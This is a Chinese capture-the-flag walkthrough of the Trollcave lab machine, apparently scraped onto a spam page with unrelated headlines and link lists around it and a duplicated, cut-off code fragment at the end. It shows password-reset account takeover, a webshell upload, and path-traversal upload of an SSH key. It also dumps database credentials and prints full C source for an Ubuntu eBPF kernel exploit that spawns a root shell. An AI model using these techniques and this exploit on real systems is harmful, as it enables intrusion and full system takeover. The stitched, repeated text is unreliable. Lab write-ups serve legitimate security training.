当前位置: 首页 > news >正文

正规的企业网站建设公司网站建设 不违背

正规的企业网站建设公司,网站建设 不违背,湖南智能网站建设哪里好,企业网站建设主要类型及选择配置 第一步#xff1a;启动靶机时按下 shift 键#xff0c; 进入以下界面 第二步#xff1a;选择第二个选项#xff0c;然后按下 e 键#xff0c;进入编辑界面 将这里的ro修改为rw single init/bin/bash#xff0c;然后按ctrlx#xff0c;进入一个相当于控制台的界面…配置 第一步启动靶机时按下 shift 键 进入以下界面 第二步选择第二个选项然后按下 e 键进入编辑界面 将这里的ro修改为rw single init/bin/bash然后按ctrlx进入一个相当于控制台的界面里面可以执行命令 ip a 查看一下实际用的网卡这里是ens33 vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡如果不一致则将这两个都改成 ens33 按下 i 即可进入编辑模式 /etc/init.d/networking restart 重启网卡服务 渗透流程 一、信息收集 发现ip netdiscover -i eth0 -r 192.168.16.0/24or nmap -sP 192.168.16.0/24获取到IP后收集详细信息 nmap -sV -sC -A 192.168.16.128开放端口80和22版本ubuntu 扫描目录 └─# gobuster dir -u http://192.168.16.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt收集网站用户名与角色信息 发现登录页面点击下面发现用户进行了更换更换是在上面得目录进行操作 尝试获取全部用户名自己编写脚本 获取整个网页 #coding:utf-8 import requests import re # 假设id是一个变量用来构造请求的URL def get_userinfo(id): # 发送HTTP GET请求并获取响应的文本内容 response requests.get(http://192.168.16.128/users/%s %id).textreturn responseprint(get_userinfo(1))配置该内容 h1Kings page/h1 b Superadmin /b 添加正则表达式匹配对应的内容 这里会用到 re 模块提供的一个函数为re.search。用于在字符串中搜索与正则表达式匹配的内容。它会在整个字符串中查找第一个匹配项并返回一个匹配对象。 #匹配内容 h1Kings page/h1usernamere.search(h1(.*?)\s,response).group(1)#匹配内容 bSuperadmin/b levelre.search(\sb\s(.*?)\s/b,response).group(1)#\s是换行符完整获取 #coding:utf-8 import requests import re # 假设id是一个变量用来构造请求的URL def get_userinfo(id): # 发送HTTP GET请求并获取响应的文本内容 response requests.get(http://192.168.16.128/users/%s %id).text#匹配内容 h1Kings page/h1usernamere.search(h1(.*?)\s,response).group(1)levelre.search(\sb\s(.*?)\s/b,response).group(1)return username,levelfor i in range(0,20):try:username,level(get_userinfo(i))print(username:level)except:NoneKing:Superadmin dave:Admin dragon:Admin coderguy:Admin cooldude89:Moderator Sir:Moderator Q:Moderator teflon:Moderator TheDankMan:Regular member artemus:Regular member MrPotatoHead:Regular member Ian:Regular member kev:Member notanother:Member anybodyhome:Member onlyme:Member xer:Member收集登录失败的提示 每个账号失败提示的都不一样 抓包获取登录面详细信息 看到有个·utf-8编码删除看看会不会出错 收集博客信息 1.发现该网站有部署密码重置功能 搜索发现rails是一个开发框架 直接去github上寻找源码 https://github.com/rails/rails 二、获取密码 尝试使用此路径登录password_resets 百度搜索发现 添加目录 192.168.16.128/password_resets/newx’e访问 成功出现修改密码页面 发现只能重置普通用户密码 改为重置xer用户密码 进入他给的重置用户连接 http://192.168.16.128/password_resets/edit.8QidiHVYZPZI8hN3uk4nzg?namexer更改自动登录成功 发现文件上传功能 上传报错404可能是权限不够 三、更换管理员用户传马 利用重置密码链接尝试修改用户名是否可以直接重置对应的密码。 http://192.168.16.128/password_resets/edit.SbA7EAliLdkfS-R03alnUg?nameKing成功进来 上传文件显示 File upload is currently disabled文件上载当前已禁用 在控制面板中开启 再次上传 打开连接得到路径 访问后门地址 http://192.168.16.128//uploads/King/x.php发现没有成功编译 因为支持php编译 四、漏洞利用 1.任意位置文件上传利用 会发现位置来到了上级目录 尝试将文件上传到coderguy用户家目录下错误可能用户不存在或没有权限 想到目标网站是rails部署的运行web服务的用户会不会是rails呢 尝试目录更换 ../../../../../../home/rails/xx.gif2.ssh公钥免密利用 利用工具 ssh-keygen -f Identity ssh-keygen的使用方法 https://blog.csdn.net/qq_38570571/article/details/79268426 创建公钥 ssh-keygen -f Identity公钥创建成功 将Identity.pub重命名为authorized_keys authorized_keys 是linux 操作系统下专门用来存放公钥的地方只要公钥放到了服务器的正确位置并且拥有正确的权限你才可以通过你的私钥免密登录linux服务器完成后上传到上传到/home/rails/.ssh/ ../../../../../../home/rails/authorized_keys3.shell连接 ssh -i Identity rails192.168.16.128权限为普通用户 五、提权 1.查看etc/passwd 2.查看本地开启的服务 netstat -pant3.尝试去目录获取数据库账号密码 cd /var/www/trollcave/configcat database.yml得到密码和账号 adapter: postgresql database: trollcave username: tc password: sowvillagedinnermoment这里连接失败原因不知道 4.查看sqllit3数据库 sqlite3 /var/www/trollcave/db/development.sqlite3 select * from users;内核提权 已知服务器内核版本Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64) 存在提权漏洞 poc地址https://www.exploit-db.com/exploits/44298 /** Ubuntu 16.04.4 kernel priv esc** all credits to bleidl* - vnik*/// Tested on: // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 // if different kernel adjust CRED offset check kernel stack size #include stdio.h #include stdlib.h #include unistd.h #include errno.h #include fcntl.h #include string.h #include linux/bpf.h #include linux/unistd.h #include sys/mman.h #include sys/types.h #include sys/socket.h #include sys/un.h #include sys/stat.h #include stdint.h#define PHYS_OFFSET 0xffff880000000000 #define CRED_OFFSET 0x5f8 #define UID_OFFSET 4 #define LOG_BUF_SIZE 65536 #define PROGSIZE 328int sockets[2]; int mapfd, progfd;char *__prog \xb4\x09\x00\x00\xff\xff\xff\xff\x55\x09\x02\x00\xff\xff\xff\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x18\x19\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf\x91\x00\x00\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\xfc\xff\xff\xff\x62\x0a\xfc\xff\x00\x00\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x55\x00\x01\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x79\x06\x00\x00\x00\x00\x00\x00\xbf\x91\x00\x00\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\xfc\xff\xff\xff\x62\x0a\xfc\xff\x01\x00\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x55\x00\x01\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x79\x07\x00\x00\x00\x00\x00\x00\xbf\x91\x00\x00\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\xfc\xff\xff\xff\x62\x0a\xfc\xff\x02\x00\x00\x00\x85\x00\x00\x00\x01\x00\x00\x00\x55\x00\x01\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x79\x08\x00\x00\x00\x00\x00\x00\xbf\x02\x00\x00\x00\x00\x00\x00\xb7\x00\x00\x00\x00\x00\x00\x00\x55\x06\x03\x00\x00\x00\x00\x00\x79\x73\x00\x00\x00\x00\x00\x00\x7b\x32\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x55\x06\x02\x00\x01\x00\x00\x00\x7b\xa2\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x7b\x87\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00;char bpf_log_buf[LOG_BUF_SIZE];static int bpf_prog_load(enum bpf_prog_type prog_type,const struct bpf_insn *insns, int prog_len,const char *license, int kern_version) {union bpf_attr attr {.prog_type prog_type,.insns (__u64)insns,.insn_cnt prog_len / sizeof(struct bpf_insn),.license (__u64)license,.log_buf (__u64)bpf_log_buf,.log_size LOG_BUF_SIZE,.log_level 1,};attr.kern_version kern_version;bpf_log_buf[0] 0;return syscall(__NR_bpf, BPF_PROG_LOAD, attr, sizeof(attr)); }static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,int max_entries) {union bpf_attr attr {.map_type map_type,.key_size key_size,.value_size value_size,.max_entries max_entries};return syscall(__NR_bpf, BPF_MAP_CREATE, attr, sizeof(attr)); }static int bpf_update_elem(uint64_t key, uint64_t value) {union bpf_attr attr {.map_fd mapfd,.key (__u64)key,.value (__u64)value,.flags 0,};return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, attr, sizeof(attr)); }static int bpf_lookup_elem(void *key, void *value) {union bpf_attr attr {.map_fd mapfd,.key (__u64)key,.value (__u64)value,};return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, attr, sizeof(attr)); }static void __exit(char *err) {fprintf(stderr, error: %s\n, err);exit(-1); }static void prep(void) {mapfd bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);if (mapfd 0)__exit(strerror(errno));progfd bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,(struct bpf_insn *)__prog, PROGSIZE, GPL, 0);if (progfd 0)__exit(strerror(errno));if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))__exit(strerror(errno));if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, progfd, sizeof(progfd)) 0)__exit(strerror(errno)); }static void writemsg(void) {char buffer[64];ssize_t n write(sockets[0], buffer, sizeof(buffer));if (n 0) {perror(write);return;}if (n ! sizeof(buffer))fprintf(stderr, short write: %lu\n, n); }#define __update_elem(a, b, c) \bpf_update_elem(0, (a)); \bpf_update_elem(1, (b)); \bpf_update_elem(2, (c)); \writemsg();static uint64_t get_value(int key) {uint64_t value;if (bpf_lookup_elem(key, value))__exit(strerror(errno));return value; }static uint64_t __get_fp(void) {__update_elem(1, 0, 0);return get_value(2); }static uint64_t __read(uint64_t addr) {__update_elem(0, addr, 0);return get_value(2); }static void __write(uint64_t addr, uint64_t val) {__update_elem(2, addr, val); }static uint64_t get_sp(uint64_t addr) {return addr ~(0x4000 - 1); }static void pwn(void) {uint64_t fp, sp, task_struct, credptr, uidptr;fp __get_fp();if (fp PHYS_OFFSET)__exit(bogus fp);sp get_sp(fp);if (sp PHYS_OFFSET)__exit(bogus sp);task_struct __read(sp);if (task_struct PHYS_OFFSET)__exit(bogus task ptr);printf(task_struct %lx\n, task_struct);credptr __read(task_struct CRED_OFFSET); // credif (credptr PHYS_OFFSET)__exit(bogus cred ptr);uidptr credptr UID_OFFSET; // uidif (uidptr PHYS_OFFSET)__exit(bogus uid ptr);printf(uidptr %lx\n, uidptr);__write(uidptr, 0); // set both uid and gid to 0if (getuid() 0) {printf(spawning root shell\n);system(/bin/bash);exit(0);}__exit(not vulnerable?); }int main(int argc, char **argv) {prep();pwn();return 0; } 编译exp # 由于目标主机上没有gcc环境在kali中编译 gcc -c pwn.c -o pwn 利用ssh上传exp到目标主机 scp -i Identity pwn rails192.168.16.128:/home/rails/目标主机上提权 添加可执行权限 chmod x pwn运行提权成功 D_OFFSET); // cred if (credptr PHYS_OFFSET)__exit(bogus cred ptr);uidptr credptr UID_OFFSET; // uid if (uidptr PHYS_OFFSET)__exit(bogus uid ptr);printf(uidptr %lx\n, uidptr); __write(uidptr, 0); // set both uid and gid to 0if (getuid() 0) {printf(spawning root shell\n);system(/bin/bash);exit(0); }__exit(not vulnerable?);} int main(int argc, char **argv) { prep(); pwn(); return 0;} ### 编译expsh # 由于目标主机上没有gcc环境在kali中编译 gcc -c pwn.c -o pwn 利用ssh上传exp到目标主机 scp -i Identity pwn rails192.168.16.128:/home/rails/目标主机上提权 添加可执行权限 chmod x pwn运行提权成功
http://www.w-s-a.com/news/559958/

相关文章:

  • 成都网站建设有名的公司怎么做出有品牌感的网站
  • 中国网站的建设淘宝数据网站开发
  • 深圳建站网站模板wordpress 文章最长
  • 服务器建立网站建网站做seo
  • 帮人做彩票网站支付接口网上请人做软件的网站
  • 万全网站建设wl17581做旅游广告在哪个网站做效果好
  • 钢城网站建设安徽省住房和城乡建设厅网站
  • 协会网站建设方案大良营销网站建设好么
  • 网站引导页一般是什么格式网页设计师的应聘岗位
  • 构建网站空间网站开发与维护招聘
  • 网站建设的网页怎么做番禺网站开发哪家强
  • 网站开发是程序员吗百度网盘下载电脑版官方下载
  • 中国电力建设集团网站杭州网站运营
  • 大气网站模板下载效果好的网站建设公
  • 住房和城乡建设部网站打不开重庆市建设工程信息网官网30系统
  • 做美食软件视频网站大数据精准营销策略
  • 网站后台密码错误陕西大型网站建设
  • 网站建站中关键字搜索怎么弄wordpress 后台插件无法访问
  • 做减肥餐的网站网站优化注意事项
  • 做网站做推广有效果吗专门做淘宝优惠券的网站
  • 菜谱网站开发系统ps做网页效果图
  • 徐州品牌网站建设wordpress多重筛选页面
  • 网站改版提示无需改版个人怎么申请微信小程序
  • 电子商务网站建设的简要任务执行书可以注册免费网站
  • 公司网站设计需要什么豪爵铃木摩托车官网
  • 建收费网站合肥地区网站制作
  • 自己做头像网站小网站建设公司
  • 电子商务建设与网站规划wordpress linux安装
  • wordpress新手建站win8网站模版
  • 网站的简单布局孝感 商务 网站建设